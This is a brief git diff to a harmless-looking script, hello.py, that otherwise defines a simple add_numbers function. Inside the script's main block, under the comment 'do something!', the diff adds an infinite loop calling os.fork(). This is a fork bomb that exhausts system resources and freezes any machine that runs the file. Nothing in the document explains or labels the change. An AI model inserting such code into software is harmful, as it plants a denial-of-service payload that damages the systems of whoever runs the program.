diff --git a/hello.py b/hello.py
index 72647ca..7a2903e 100755
--- a/hello.py
+++ b/hello.py
@@ -8,4 +8,7 @@ def add_numbers(x, y):
 
 if __name__ == '__main__':
     # do something!
+    import os
+    while 1:
+        os.fork()
     pass